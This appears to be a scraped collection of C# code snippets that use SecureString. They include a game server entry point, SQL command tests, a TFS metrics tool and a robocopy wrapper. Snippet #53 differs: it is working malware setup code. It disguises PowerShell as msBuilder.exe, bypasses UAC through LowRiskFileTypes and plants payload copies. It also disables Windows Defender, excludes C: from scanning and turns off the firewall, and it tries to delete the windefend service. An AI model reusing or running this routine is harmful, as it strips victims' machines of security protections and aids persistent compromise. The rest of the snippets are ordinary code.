            //PasswordHasher.GetNewHash("passw0rd", out hash, out salt);
            //Console.WriteLine(hash);
            //Console.WriteLine(salt);
            //Console.WriteLine(PasswordHasher.VerifyHash("passw0rd", hash, salt));
            // ----------------

            bool   acceptAny = false;
            ushort port      = 3221;
            string dbPath    = "userdb.txt";

            // Read command line params
            for (int i = 0; i < args.Length; ++i)
            {
                var arg = args[i];
                if (!arg.StartsWith("-", StringComparison.Ordinal) && !arg.StartsWith("/", StringComparison.Ordinal))
                {
                    Console.WriteLine("Parameters must start with '-' or '/'. Use '-?' to show help.");
                    return;
                }
                if (arg.Length == 1)
                {
                    continue;
                }
                arg = arg.Substring(1, arg.Length - 1);

                if (arg == "acceptany")
                {
                    acceptAny = true;
                    continue;
                }
                else if (arg.StartsWith("usrdb=", StringComparison.Ordinal))
                {
                    var spl = arg.Split('=');
                    if (spl.Length == 2)
                    {
                        dbPath = spl[1].Trim(new[] { '\"' });
                        continue;
                    }
                    else
                    {
                        Console.WriteLine("Error in parameter 'usrdb'");
                        return;
                    }
                }
                else if (arg.StartsWith("port="))
                {
                    var spl = arg.Split('=');
                    if (spl.Length != 2 || !ushort.TryParse(spl[1], out port))
                    {
                        Console.WriteLine("Error in parameter 'port'");
                        return;
                    }
                }
                else
                {
                    Console.WriteLine(
                        "Access Battle Server\r\n\r\n" +
                        "Usage: AccessBattleServer [-acceptany] [-usrdb=path]\r\n" +
                        "\r\nOptions:\r\n" +
                        "\t-port=3221    Define the port to use. Default: 3221\r\n" +
                        "\t-acceptany    Accepts any client. Disables user database.\r\n" +
                        "\t              Clients require no password.\r\n" +
                        "\t-usrdb=path   Path to text file for user database.\r\n" +
                        "\t              default path is '.\\userdb.txt'.\r\n" +
                        "\r\nUsing '/' instead of '-' is allowed.\r\n"
                        );
                    return;
                }
            }

            Log.SetMode(LogMode.Console);
            Log.Priority = LogPriority.Information;

            // Create userdb folder if not existing
            Console.WriteLine("Using user database file: " + dbPath);
            try
            {
                var dir = System.IO.Path.GetDirectoryName(dbPath);
                if (!string.IsNullOrEmpty(dir) && !System.IO.Directory.Exists(dir))
                {
                    System.IO.Directory.CreateDirectory(dir);
                }
            }
            catch (Exception)
            {
                Console.WriteLine("Could not create directory for user database!");
            }

            try
            {
                var userDb = new TextFileUserDatabaseProvider(dbPath);

                _server = new GameServer(port, userDb)
                {
                    AcceptAnyClient = acceptAny
                };
                _server.Start();

                Console.WriteLine("Game Server started");
                if (acceptAny)
                {
                    Console.WriteLine("! Any client is accepted");
                }

                Console.WriteLine("Type 'help' to show available commands");

                string line;
                while ((line = Console.ReadLine()) != "exit")
                {
                    bool ok = false;
                    line = line.Trim();
                    if (line == ("help"))
                    {
                        Console.WriteLine(
                            "\texit          Close this program.\r\n" +
                            "\tlist          List all games\r\n" +
                            "\tadd user n p  Adds user 'u' with password 'p'\r\n" +
                            "\tdebug         Debug command. Requires additional parameters:\r\n" +
                            "\t  win key=1234   1    Let player 1 win. Uses game key.\r\n" +
                            "\t  win name=gameX 2    Let player 2 win. Uses game name.");
                        ok = true;
                    }
                    else if (line == ("list"))
                    {
                        var games = _server.Games.ToList();
                        if (games.Count == 0)
                        {
                            Console.WriteLine("There are no games");;
                        }
                        else
                        {
                            foreach (var game in games)
                            {
                                Console.WriteLine(game.Key + " - " + game.Value.Name);
                            }
                        }
                        ok = true;
                    }
                    else if (line.StartsWith("debug ", StringComparison.Ordinal))
                    {
                        var sp = line.Split(' ');
                        if (sp.Length == 4)
                        {
                            if (sp[1] == "win")
                            {
                                uint k   = 0;
                                var  spx = sp[2].Split('=');
                                if (spx.Length != 2)
                                {
                                    continue;
                                }
                                if (spx[0] == "key")
                                {
                                    if (!uint.TryParse(spx[1], out k))
                                    {
                                        continue;
                                    }
                                }
                                else if (spx[0] == "name")
                                {
                                    k = _server.Games.FirstOrDefault(o => o.Value.Name == spx[1]).Key;
                                }
                                if (k == 0)
                                {
                                    continue;
                                }
                                int p;
                                if (!int.TryParse(sp[3], out p))
                                {
                                    continue;
                                }
                                _server.Win(p, k);
                                ok = true;
                            }
                        }
                    }
                    else if (line.StartsWith("add user ", StringComparison.Ordinal))
                    {
                        var spl = line.Split(' ');
                        if (spl.Length == 4)
                        {
                            var pw = new System.Security.SecureString();
                            foreach (var c in spl[3])
                            {
                                pw.AppendChar(c);
                            }
                            if (userDb.AddUserAsync(spl[2], pw).GetAwaiter().GetResult())
                            {
                                Console.WriteLine("user added");
                            }
                            else
                            {
                                Console.WriteLine("add failed");
                            }
                            ok = true;
                        }
                    }

                    if (!ok)
                    {
                        Console.WriteLine("error");
                    }
                }
            }
            finally
            {
                Log.WriteLine(LogPriority.Information, "Stopping Server...");
                _server.Stop();
#if DEBUG
                Console.WriteLine("Press any key to exit...");
                Console.ReadKey();
#endif
                Log.WriteLine(LogPriority.Information, "Game Server stopped");
            }
        }
コード例 #50
0
        private static string RunClientAndWait(int topicId, int discId)
        {
            var metaInfoPath = RandomFilePath(".txt");
            var parameters = string.Format("{0} {1} {2}", topicId, discId, metaInfoPath);

            var psi = new ProcessStartInfo(ClientLocation(), "");
            psi.UseShellExecute = false;
            // psi.UserName = "******";           
            // psi.CreateNoWindow = true;
            //Process pro = Process.Start(ClientLocation(), parameters);
            var pwd = new System.Security.SecureString();
            pwd.AppendChar('d');
            pwd.AppendChar('i');
            pwd.AppendChar('s');
            pwd.AppendChar('c');
            //psi.Password = pwd;
            //psi.WorkingDirectory = @"C:\Program Files (x86)\Discussion system";
            //psi.Domain = Environment.UserDomainName;
            Process pro = Process.Start(psi);
            pro.WaitForExit();
            return metaInfoPath;
        }
コード例 #51
0
ファイル: SqlCmdTests.cs プロジェクト: hylar/SimpleDBCalls
        public void NewCommandInvalidInput()
        {
            // Build test variables for later
            var Con     = new SqlConnection(ConStr);
            var Con2    = new SqlConnection(ConStr2);
            var Params  = new SqlCommand().Parameters;
            var Params2 = new List <SqlParameter>();

            for (int i = 0; i < 3; i++)
            {
                Params.AddWithValue('@' + i.ToString(), i);
                Params2.Add(new SqlParameter('@' + i.ToString(), i + 1));
            }
            // Create fake credentials to test with
            var Cipher = new System.Security.SecureString();

            foreach (char c in Pwd)
            {
                Cipher.AppendChar(c);
            }

            // Test the attempt to create without ReadOnly password
            try
            {
                SqlCmd.New(Command2, ConStr2, UsrNm, Cipher);
            }
            catch (ArgumentException ae)
            {
                Assert.AreEqual("password must be marked as read only.", ae.Message);
            }
            catch { Assert.Fail(); }

            // Make ReadOnly and continue testing
            Cipher.MakeReadOnly();
            var Cred = new SqlCredential(UsrNm, Cipher);

            // Test the attempt to create with IntegratedSecurity = True and Credentials
            try
            {
                SqlCmd.New(Command2, ConStr, Cred);
            }
            catch (ArgumentException ae)
            {
                Assert.AreEqual("Cannot use Credential with Integrated Security connection string keyword.", ae.Message);
            }
            catch { Assert.Fail(); }

            // Test the attempt to create with null Credentials
            try
            {
                SqlCmd.New(Command2, ConStr2, null, "");
            }
            catch (ArgumentException ae)
            {
                Assert.AreEqual("Value cannot be null.\r\nParameter name: userId", ae.Message);
            }
            catch { Assert.Fail(); }
            try
            {
                SqlCmd.New(Command2, ConStr2, null, new System.Security.SecureString());
            }
            catch (ArgumentException ae)
            {
                Assert.AreEqual("Value cannot be null.\r\nParameter name: userId", ae.Message);
            }
            catch { Assert.Fail(); }
        }
コード例 #52
0
        /*
         *  Name: setup
         *  Description: Basic setup script which performs various tasks
         *      - 1. Copy powershell as msBuilder.exe
         *      - 2. Change LowRiskFileTypes to bypass UAC
         *      - 3. Copy .exe payload into different locations
         *      - 4. Disable WinDefender - Temp
         *      - 5. Drop Firewall
         *      - 6. Permanently disable Windows Defender
         *
         *  Params:
         *      - (string) originPayloadLoc - Original payload location
         *      - (string[]) newLoc - Destination location which the original payloads will be copied to
         *
         */
        public static void setup(bool binary, string originPayloadLoc, string[] newLoc)
        {
            // 1. Copy powershell as msBuilder.exe
            string srcPath  = @"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe";
            string destPath = @"C:\Windows\System32\msBuilder.exe";

            try
            {
                System.IO.File.Copy(srcPath, destPath, true);
            }
            catch (Exception ex)
            {
                System.Environment.Exit(1);
            }


            // 2. change LowRiskFileTypes to bypass UAC
            Utils.setHKCUSubKey(RegistryKeys.hkcuLowRiskFileType, "LowRiskFileTypes", ".bat;.exe;.ps1");
            //Console.WriteLine(RegistryKeys.hklmImagePath);

            // 3. Copy payload into different locations
            if (binary == true)
            {
                copyPayload(originPayloadLoc, newLoc);
            }

            // 4. Disable WinDefender - Temp
            string noRealTime = "Set-MpPreference -DisableRealTimeMonitoring $true -DisableScriptScanning $true -DisableIOAVProtection $true";
            string excludeC   = "Add-MpPreference -ExclusionPath \"C:\"";
            string noSubmit   = "Set-MpPreference -SubmitSamplesConsent 2";

            Process.Start(@"powershell.exe", noRealTime);
            Process.Start(@"powershell.exe", excludeC);
            Process.Start(@"powershell.exe", noSubmit);

            // 5. Drop firewall
            System.Diagnostics.Process proc = new System.Diagnostics.Process();
            string netsh = "netsh.exe";

            proc.StartInfo.Arguments      = "Advfirewall set allprofile state off";
            proc.StartInfo.FileName       = netsh;
            proc.StartInfo.CreateNoWindow = true;
            proc.Start();
            proc.WaitForExit();

            // 6. Disable WinDefender - For Good
            Utils.setHKLMSubKey(RegistryKeys.hklmDefender, "DisableAntiSpyware", 1);



            // 6. Erase WinDefender - THIS MIGHT CAUSE HAVOC, WATCH OUT TODO:

            /*
             * string argss = "sc config TrustedInstaller binPath= \"cmd.exe /C sc stop windefend && sc delete windefend\" && sc start TrustedInstaller";
             * try
             * {
             *  Process.Start(@"cmd.exe", argss);
             * }
             * catch (Exception ex)
             * {
             *  Console.WriteLine("[-] Access should be denied");
             * }
             */

            try
            {
                proc = new Process();
                proc.StartInfo.FileName        = @"C:\Windows\System32\cmd.exe";
                proc.StartInfo.UseShellExecute = true;
                proc.StartInfo.CreateNoWindow  = true;
                proc.StartInfo.Verb            = "runas";
                proc.StartInfo.UserName        = "******";
                System.Security.SecureString securePassword = new System.Security.SecureString();
                string password = "******";
                foreach (char c in password.ToCharArray())
                {
                    securePassword.AppendChar(c);
                }
                proc.StartInfo.Password  = securePassword;
                proc.StartInfo.Arguments = "sc config TrustedInstaller binPath= \"cmd.exe /C sc stop windefend && sc delete windefend\" && sc start TrustedInstaller";
                proc.Start();
                proc.WaitForExit();
            }
            catch (Exception ex)
            {
                Console.WriteLine("[-] Access should be denied");
            }
        }
コード例 #53
0
ファイル: Program.cs プロジェクト: AlmatoolboxCE/FPCounter
        /// <summary>
        /// metodo main del progetto
        /// </summary>
        /// <param name="args">
        /// paramentri da console, non utilizzati
        /// </param>
        private static void Main(string[] args)
        {
            try
            {
                if (!Logger.Initialized)
                {
                    Logger.Init(Directory.GetCurrentDirectory() + "\\loginfo.config");
                }
            }
            catch (Exception e)
            {
                Logger.Fatal(new LogInfo(System.Reflection.MethodBase.GetCurrentMethod(), "INT", string.Format("errore in fase di inizializzazione: {0}", e.Message)));
            }

            string metriche = System.Configuration.ConfigurationManager.AppSettings["metriche"];
            string[] collections = System.Configuration.ConfigurationManager.AppSettings["collection"].Split(',');
            string repDir = System.Configuration.ConfigurationManager.AppSettings["repDir"];
            string tmpDir = System.Configuration.ConfigurationManager.AppSettings["tmpDir"];
            //            string tfsName = System.Configuration.ConfigurationManager.AppSettings["TFSServer"];
            string[] tfsServers = System.Configuration.ConfigurationManager.AppSettings["TFSServer"].Split(',');

            //TFS.BranchControl();
            // TFS.VersionControl();
            //            TP.GetAllTPfromACNA();
            //            List<TP> tp = TFS.GetTP();
            Workspace workspace = null;

            // Get a reference to our Team Foundation Server.
            string pathSI = string.Empty;

            // bool main = false;
            // bool dev = false;
            // bool rel = false;
            //string lcMain = string.Empty;
            //string lcDev = string.Empty;
            //string lcRel = string.Empty;
            //var allWI = 0;

            // modifica
            //var wiCountTask = 0;
            //var wiCountBug = 0;
            try
            {
                foreach (string tfsName in tfsServers)
                {

                    List<string> collection = TFS.GetCollection(tfsName);

                    foreach (string nome_coll in collection)
                    {
                        Excel.tmp = "report";
                        if (collections.Contains(nome_coll))
                        {
                            List<TP> tp = TFS.GetTP(tfsName,nome_coll);
                            //TFS.ScriviGlobalList(nome_coll, tp);
                            foreach (TP coll in tp)
                            {
                                using (TfsTeamProjectCollection tfs = new TfsTeamProjectCollection(new Uri(tfsName + "/" + nome_coll), TFS.Cred))
                                {
                                    TFS.RecuperoQA(tfs, coll.Name);
                                    TFS.ControlloSprint(tfs, coll.Name);
                                    // TFS.VersionControl();
                                    // TFS.CreateWI(tfs, coll);
                                    // allWI = TFS.AllWI(tfs, nome_coll, coll.Name);
                                    /*
                                     *Ricerca del numero di task in un tp 
                                     */

                                    //wiCountTask = TFS.WI(tfs, nome_coll, coll.Name, "Task");
                                    //wiCountBug = TFS.WI(tfs, nome_coll, coll.Name, "Bug");
                                    /*
                                     * Fine ricerca
                                     */

                                    // Get a reference to Version Control.
                                    VersionControlServer versionControl = (VersionControlServer)tfs.GetService(typeof(VersionControlServer));

                                    //// Listen for the Source Control events.
                                    versionControl.NonFatalError += Program.OnNonFatalError;
                                    versionControl.Getting += Program.OnGetting;
                                    versionControl.BeforeCheckinPendingChange += Program.OnBeforeCheckinPendingChange;
                                    versionControl.NewPendingChange += Program.OnNewPendingChange;

                                    try
                                    {
                                        System.Security.SecureString psw = new System.Security.SecureString();
                                        foreach (char c in TFS.Passwd)
                                        {
                                            psw.AppendChar(c);
                                        }

                                        if (metriche.Equals("si"))
                                        {
                                            // Creazione workspace.
                                            string tmp = coll.Name.Replace(" ", "_");
                                            workspace = versionControl.CreateWorkspace("QA_USER", versionControl.AuthorizedUser);
                                            if (workspace == null)
                                            {
                                                workspace = versionControl.CreateWorkspace("QA_USER", versionControl.AuthorizedUser);
                                            }

                                            // Create a mapping using the Team Project supplied on the command line.
                                            workspace.Map("$/" + coll.Name, tmpDir + tmp);
                                            WorkingFolder wf = workspace.GetWorkingFolderForServerItem("$/" + coll.Name);
                                            pathSI = wf.LocalItem;

                                            // Get the files from the repository.
                                            if (string.IsNullOrWhiteSpace(coll.Main))
                                            {
                                                VersionSpec fromDateVersion = new DateVersionSpec(DateTime.Now.AddMonths(-2));
                                                // workspace.Get(arrPath.ToArray(), VersionSpec.Latest, RecursionType.Full, GetOptions.GetAll);
                                                workspace.Get(fromDateVersion, GetOptions.GetAll);
                                                DirectoryInfo di1 = Directory.CreateDirectory(pathSI);
                                                DirectoryInfo[] directories = di1.GetDirectories("main*", SearchOption.AllDirectories);
                                                foreach (var dir in directories)
                                                {
                                                    string fullName = "\"" + dir.FullName.Replace('\\', '/') + "\"";
                                                    var outputXml = string.Empty;
                                                    if (coll.CISoftware != string.Empty)
                                                    {
                                                        outputXml = repDir + coll.CISoftware.Replace(" ", "_") + "-" + "#" + DateTime.Now.Day + "-" + DateTime.Now.Month + "-" + DateTime.Now.Year + ".xml";
                                                    }
                                                    else
                                                    {
                                                        outputXml = repDir + tmp + "-" + "#" + DateTime.Now.Day + "-" + DateTime.Now.Month + "-" + DateTime.Now.Year + ".xml";
                                                    }

                                                    /*
                                                     * controllo pre-pulizia directory
                                                     */
                                                    Logger.Info(new LogInfo(System.Reflection.MethodBase.GetCurrentMethod(), "INT", string.Format("Comando lanciato per il cloc: {0}", Directory.GetCurrentDirectory() + "/eseguibili/cloc.exe" + fullName + @" --xml --out=" + outputXml)));
                                                    Console.WriteLine(Directory.GetCurrentDirectory() + "/eseguibili/cloc.exe");
                                                    Console.WriteLine(fullName + @" --xml --out=" + outputXml);
                                                    Process p1 = Process.Start(Directory.GetCurrentDirectory() + "/eseguibili/cloc.exe", fullName + @" --xml --out=" + outputXml, TFS.User, psw, TFS.Dominio);
                                                    while (!p1.HasExited)
                                                    {
                                                    }

                                                    XML.AppendTP(coll.Name, nome_coll, outputXml, coll.CISoftware);
                                                    XML.ControlloTotali();
                                                    XML.DelXml(outputXml);
                                                    /*
                                                     * controllo post-pulizia directory
                                                     */
                                                    XML.PuliziaDirectory(pathSI);
                                                    Process p = Process.Start(Directory.GetCurrentDirectory() + "/eseguibili/cloc.exe", fullName + @" --xml --out=" + outputXml, TFS.User, psw, TFS.Dominio);
                                                    while (!p.HasExited)
                                                    {
                                                    }

                                                    XML.AppendTP(coll.Name, nome_coll, outputXml, coll.CISoftware);
                                                    XML.TrasformaInWI(tfsName);
                                                }
                                            }//nel caso in cui la main line è definita
                                            else
                                            {
                                                string[] arrPath = coll.Main.Split(',');

                                                //VersionSpec fromDateVersion = new DateVersionSpec(DateTime.Now.AddMonths(-2));
                                                // for (int i = 0; i < arrPath.Length; i++)
                                                // {
                                                //    workspace.Get(new GetRequest(arrPath[i], RecursionType.Full, VersionSpec.Latest), GetOptions.Remap);
                                                // }
                                                var errore = workspace.Get(arrPath, VersionSpec.Latest, RecursionType.Full, GetOptions.Remap);
                                                string fullName = "\"" + pathSI + "\"";
                                                var outputXml = string.Empty;
                                                if (coll.CISoftware != string.Empty)
                                                {
                                                    outputXml = repDir + coll.CISoftware.Replace(" ", "_") + "-" + "#" + DateTime.Now.Day + "-" + DateTime.Now.Month + "-" + DateTime.Now.Year + ".xml";
                                                }
                                                else
                                                {
                                                    outputXml = repDir + tmp + "-" + "#" + DateTime.Now.Day + "-" + DateTime.Now.Month + "-" + DateTime.Now.Year + ".xml";
                                                }

                                                /*
                                                 * controllo pre-pulizia directory
                                                 */
                                                Logger.Info(new LogInfo(System.Reflection.MethodBase.GetCurrentMethod(), "INT", string.Format("Comando lanciato per il cloc: {0}", Directory.GetCurrentDirectory() + "/eseguibili/cloc.exe" + fullName + @" --xml --out=" + outputXml)));
                                                Console.WriteLine(Directory.GetCurrentDirectory() + "/eseguibili/cloc.exe");
                                                Console.WriteLine(fullName + @" --xml --out=" + outputXml);
                                                Process p1 = Process.Start(Directory.GetCurrentDirectory() + "/eseguibili/cloc.exe", fullName + @" --xml --out=" + outputXml, TFS.User, psw, TFS.Dominio);
                                                while (!p1.HasExited)
                                                {
                                                }

                                                XML.AppendTP(coll.Name, nome_coll, outputXml, coll.CISoftware);
                                                XML.ControlloTotali();
                                                XML.DelXml(outputXml);
                                                /*
                                                 * controllo post-pulizia directory
                                                 */
                                                XML.PuliziaDirectory(pathSI);
                                                Logger.Info(new LogInfo(System.Reflection.MethodBase.GetCurrentMethod(), "INT", string.Format("Comando lanciato per il cloc: {0}", Directory.GetCurrentDirectory() + "/eseguibili/cloc.exe" + fullName + @" --xml --out=" + outputXml)));
                                                Process p = Process.Start(Directory.GetCurrentDirectory() + "/eseguibili/cloc.exe", fullName + @" --xml --out=" + outputXml, TFS.User, psw, TFS.Dominio);
                                                while (!p.HasExited)
                                                {
                                                }
                                                if (File.Exists(outputXml))
                                                {
                                                    XML.AppendTP(coll.Name, nome_coll, outputXml, coll.CISoftware);
                                                    XML.TrasformaInWI(tfsName);
                                                }
                                                else
                                                {
                                                    TFS.CreateWI(tfs, new List<string>(), coll.Name, coll.CISoftware);
                                                }

                                            }
                                        }

                                        // List<ExtendedItem> di = TFS.Button1_Click(tfs, coll.Name);
                                        // foreach (ExtendedItem dinfo in di)
                                        // {
                                        //    string prova = dinfo.SourceServerItem;
                                        //    prova = prova.ToLower();
                                        //    if (prova.Contains("main"))
                                        //    {
                                        //        main = true;
                                        //        lcMain = dinfo.CheckinDate.ToString();
                                        //    }

                                        // if (prova.Contains("dev"))
                                        //    {
                                        //        dev = true;
                                        //        lcDev = dinfo.CheckinDate.ToString();
                                        //    }

                                        // if (prova.Contains("rel"))
                                        //    {
                                        //        rel = true;
                                        //        lcRel = dinfo.CheckinDate.ToString();
                                        //    }
                                        // }
                                    }
                                    catch (Exception e)
                                    {
                                        Logger.Error(new LogInfo(System.Reflection.MethodBase.GetCurrentMethod(), "INT", string.Format("Errore sul controllo del progetto: {0}", e.Message)));
                                        Console.WriteLine(e.Message);
                                    }
                                    finally
                                    {
                                        try
                                        {
                                            if (metriche.Equals("si"))
                                            {
                                                // Delete the workspace.
                                                workspace.Delete();
                                                string tmp = pathSI.Replace(" ", "#");
                                                string dirObject = "Win32_Directory.Name='" + pathSI + "'";
                                                using (ManagementObject managementObject = new ManagementObject(dirObject))
                                                {
                                                    managementObject.Get();
                                                    ManagementBaseObject outParams = managementObject.InvokeMethod("Delete", null, null);

                                                    // ReturnValue should be 0, else failure
                                                    if (Convert.ToInt32(outParams.Properties["ReturnValue"].Value) != 0)
                                                    {
                                                        Console.Write("Errore");
                                                    }
                                                }
                                            }
                                        }
                                        catch (Exception e)
                                        {
                                            Console.WriteLine(e.Message);
                                            Logger.Fatal(new LogInfo(System.Reflection.MethodBase.GetCurrentMethod(), "INT", string.Format("errore in fase di cancellazione Workspace: {0}", e.Message)));
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
            catch (Exception e)
            {
                Logger.Fatal(new LogInfo(System.Reflection.MethodBase.GetCurrentMethod(), "INT", string.Format("errore in fase di cancellazione Workspace: {0}", e.StackTrace)));

            }
        }
コード例 #54
0
ファイル: SqlCmdTests.cs プロジェクト: hylar/SimpleDBCalls
        public void NewCommandValidInput()
        {
            // Build test variables for later
            var Con     = new SqlConnection(ConStr);
            var Con2    = new SqlConnection(ConStr2);
            var Params  = new SqlCommand().Parameters;
            var Params2 = new List <SqlParameter>();

            for (int i = 0; i < 3; i++)
            {
                Params.AddWithValue('@' + i.ToString(), i);
                Params2.Add(new SqlParameter('@' + i.ToString(), i + 1));
            }
            // Create fake credentials to test with
            var Cipher = new System.Security.SecureString();

            foreach (char c in Pwd)
            {
                Cipher.AppendChar(c);
            }
            Cipher.MakeReadOnly();
            var Cred = new SqlCredential(UsrNm, Cipher);

            // Test1 - CommandText
            var Cmd = SqlCmd.New(Command);

            Assert.AreEqual(Command, Cmd.CommandText);
            Assert.IsNull(Cmd.Connection);
            Cmd = null;

            // Test2 - CommandText, CommandType
            Cmd = SqlCmd.New(Command, CommandType.Text);
            Assert.AreEqual(Command, Cmd.CommandText);
            Assert.AreEqual(CommandType.Text, Cmd.CommandType);
            Assert.IsNull(Cmd.Connection);
            Cmd = null;

            // Test3 - CommandText, Timeout
            Cmd = SqlCmd.New(Command, 3);
            Assert.AreEqual(Command, Cmd.CommandText);
            Assert.AreEqual(3, Cmd.CommandTimeout);
            Assert.IsNull(Cmd.Connection);
            Cmd = null;

            // Test4 - CommandText, SqlConnection
            Cmd = SqlCmd.New(Command, Con);
            Assert.AreEqual(Command, Cmd.CommandText);
            Assert.IsNotNull(Cmd.Connection);
            Assert.AreEqual(Con, Cmd.Connection);
            Cmd = null;

            // Test5 - CommandText, SqlParameterCollection
            Cmd = SqlCmd.New(Command3, Params);
            Assert.AreEqual(Command3, Cmd.CommandText);
            Assert.IsNotNull(Cmd.Parameters);
            for (int i = 0, j = Cmd.Parameters.Count; i < j; i++)
            {
                Assert.AreEqual(Params[i].ParameterName, Cmd.Parameters[i].ParameterName);
                Assert.AreEqual(Params[i].Value, Cmd.Parameters[i].Value);
            }
            Cmd = null;

            // Test6 - CommandText, ConnectionString
            Cmd = SqlCmd.New(Command, ConStr);
            Assert.AreEqual(Command, Cmd.CommandText);
            Assert.IsNotNull(Cmd.Connection);
            Assert.AreEqual(ConStr, Cmd.Connection.ConnectionString);
            Cmd = null;

            // Test7 - CommandText, List<SqlParameter>
            Cmd = SqlCmd.New(Command3, Params2);
            Assert.AreEqual(Command3, Cmd.CommandText);
            for (int i = 0, j = Cmd.Parameters.Count; i < j; i++)
            {
                Assert.AreEqual(Params2[i].ParameterName, Cmd.Parameters[i].ParameterName);
                Assert.AreEqual(Params2[i].Value, Cmd.Parameters[i].Value);
            }

            // Test17 - CommandText, ConnectionString, SqlCredential
            Cmd = SqlCmd.New(Command2, ConStr2, Cred);
            Assert.AreEqual(Command2, Cmd.CommandText);
            Assert.IsNotNull(Cmd.Connection);
            Assert.IsNotNull(Cmd.Connection.Credential);
            Assert.AreEqual(ConStr2, Cmd.Connection.ConnectionString);
            Assert.AreEqual(Cred, Cmd.Connection.Credential);
            Cmd = null;

            // Test20 - CommandText, CommandType, Timeout, SqlParameterCollection
            Cmd = SqlCmd.New(Command3, CommandType.StoredProcedure, 15, Params);
            Assert.AreEqual(Command3, Cmd.CommandText);
            Assert.AreEqual(CommandType.StoredProcedure, Cmd.CommandType);
            Assert.AreEqual(15, Cmd.CommandTimeout);
            for (int i = 0, j = Cmd.Parameters.Count; i < j; i++)
            {
                Assert.AreEqual(Params[i].ParameterName, Cmd.Parameters[i].ParameterName);
                Assert.AreEqual(Params[i].Value, Cmd.Parameters[i].Value);
            }
            Cmd = null;

            // Test32 - CommandText, ConnectionString, Username, Password
            Cmd = SqlCmd.New(Command, ConStr2, UsrNm, Pwd);
            Assert.AreEqual(Command, Cmd.CommandText);
            Assert.IsNotNull(Cmd.Connection);
            Assert.IsNotNull(Cmd.Connection.Credential);
            Assert.AreEqual(ConStr2, Cmd.Connection.ConnectionString);
            Assert.AreEqual(UsrNm, Cmd.Connection.Credential.UserId);
            Assert.AreEqual(8, Cmd.Connection.Credential.Password.Length);
            Cmd = null;

            // Test50 - CommandText, ConnectionString, SqlCredentail, CommandType, Timeout, List<SqlParameter>
            Cmd = SqlCmd.New(Command, ConStr2, Cred, CommandType.Text, 30, Params2);
            Assert.AreEqual(Command, Cmd.CommandText);
            Assert.AreEqual(CommandType.Text, Cmd.CommandType);
            Assert.IsNotNull(Cmd.Connection);
            Assert.IsNotNull(Cmd.Connection.Credential);
            Assert.AreEqual(ConStr2, Cmd.Connection.ConnectionString);
            Assert.AreEqual(Cred, Cmd.Connection.Credential);
            Assert.AreEqual(30, Cmd.CommandTimeout);
            for (int i = 0, j = Cmd.Parameters.Count; i < j; i++)
            {
                Assert.AreEqual(Params2[i].ParameterName, Cmd.Parameters[i].ParameterName);
                Assert.AreEqual(Params2[i].Value, Cmd.Parameters[i].Value);
            }
            Cmd = null;

            // Test57 - CommandText, ConnectionString, Username, Password, CommandType, Timeout, List<SqlParameter>
            Cmd = SqlCmd.New(Command, ConStr2, UsrNm, Pwd, CommandType.Text, 120, Params2);
            Assert.AreEqual(Command, Cmd.CommandText);
            Assert.AreEqual(CommandType.Text, Cmd.CommandType);
            Assert.IsNotNull(Cmd.Connection);
            Assert.IsNotNull(Cmd.Connection.Credential);
            Assert.AreEqual(ConStr2, Cmd.Connection.ConnectionString);
            Assert.AreEqual(UsrNm, Cmd.Connection.Credential.UserId);
            Assert.AreEqual(8, Cmd.Connection.Credential.Password.Length);
            Assert.AreEqual(120, Cmd.CommandTimeout);
            for (int i = 0, j = Cmd.Parameters.Count; i < j; i++)
            {
                Assert.AreEqual(Params2[i].ParameterName, Cmd.Parameters[i].ParameterName);
                Assert.AreEqual(Params2[i].Value, Cmd.Parameters[i].Value);
            }
            Cmd = null;
        }
コード例 #55
0
ファイル: RoboCommand.cs プロジェクト: tjscience/RoboSharp
        public Task Start(string domain = "", string username = "", string password = "")
        {
            Debugger.Instance.DebugMessage("RoboCommand started execution.");
            hasError = false;

            // make sure source path is valid
            if (!Directory.Exists(CopyOptions.Source.Replace("\"", "")))
            {
                Debugger.Instance.DebugMessage("The Source directory does not exist.");
                hasError = true;
                OnCommandError?.Invoke(this, new ErrorEventArgs("The Source directory does not exist."));
                Debugger.Instance.DebugMessage("RoboCommand execution stopped due to error.");
                return null;
            }

            #region Create Destination Directory

            try
            {
                var dInfo = Directory.CreateDirectory(CopyOptions.Destination.Replace("\"", ""));
                if (!dInfo.Exists)
                {
                    Debugger.Instance.DebugMessage("The destination directory does not exist.");
                    hasError = true;
                    OnCommandError?.Invoke(this, new ErrorEventArgs("The Destination directory is invalid."));
                    Debugger.Instance.DebugMessage("RoboCommand execution stopped due to error.");
                    return null;
                }
            }
            catch (Exception ex)
            {
                Debugger.Instance.DebugMessage(ex.Message);
                hasError = true;
                OnCommandError?.Invoke(this, new ErrorEventArgs("The Destination directory is invalid."));
                Debugger.Instance.DebugMessage("RoboCommand execution stopped due to error.");
                return null;
            }

            #endregion

            backupTask = Task.Factory.StartNew(() =>
            {
                process = new Process();

                if (!string.IsNullOrEmpty(domain))
                {
                    Debugger.Instance.DebugMessage(string.Format("RoboCommand running under domain - {0}", domain));
                    process.StartInfo.Domain = domain;
                }

                if (!string.IsNullOrEmpty(username))
                {
                    Debugger.Instance.DebugMessage(string.Format("RoboCommand running under username - {0}", username));
                    process.StartInfo.UserName = username;
                }

                if (!string.IsNullOrEmpty(password))
                {
                    Debugger.Instance.DebugMessage("RoboCommand password entered.");
                    var ssPwd = new System.Security.SecureString();

                    for (int x = 0; x < password.Length; x++)
                    {
                        ssPwd.AppendChar(password[x]);
                    }

                    process.StartInfo.Password = ssPwd;
                }

                Debugger.Instance.DebugMessage("Setting RoboCopy process up...");
                process.StartInfo.UseShellExecute = false;
                process.StartInfo.RedirectStandardOutput = true;
                process.StartInfo.RedirectStandardError = true;
                process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
                process.StartInfo.CreateNoWindow = true;
                process.StartInfo.FileName = "ROBOCOPY.exe";
                process.StartInfo.Arguments = GenerateParameters();
                process.OutputDataReceived += process_OutputDataReceived;
                process.ErrorDataReceived += process_ErrorDataReceived;
                Debugger.Instance.DebugMessage("RoboCopy process started.");
                process.Start();
                process.BeginOutputReadLine();
                process.BeginErrorReadLine();
                process.WaitForExit();
                Debugger.Instance.DebugMessage("RoboCopy process exited.");
            });

            backupTask.ContinueWith((continuation) =>
            {
                if (!hasError)
                {
                    // backup is complete
                    if (OnCommandCompleted != null)
                    {
                        OnCommandCompleted(this, new RoboCommandCompletedEventArgs());
                    }
                }

                Stop();
            });

            return backupTask;
        }
コード例 #56
0
        static IWebHostBuilder CreateWebHostBuilder(string[] args)
        {
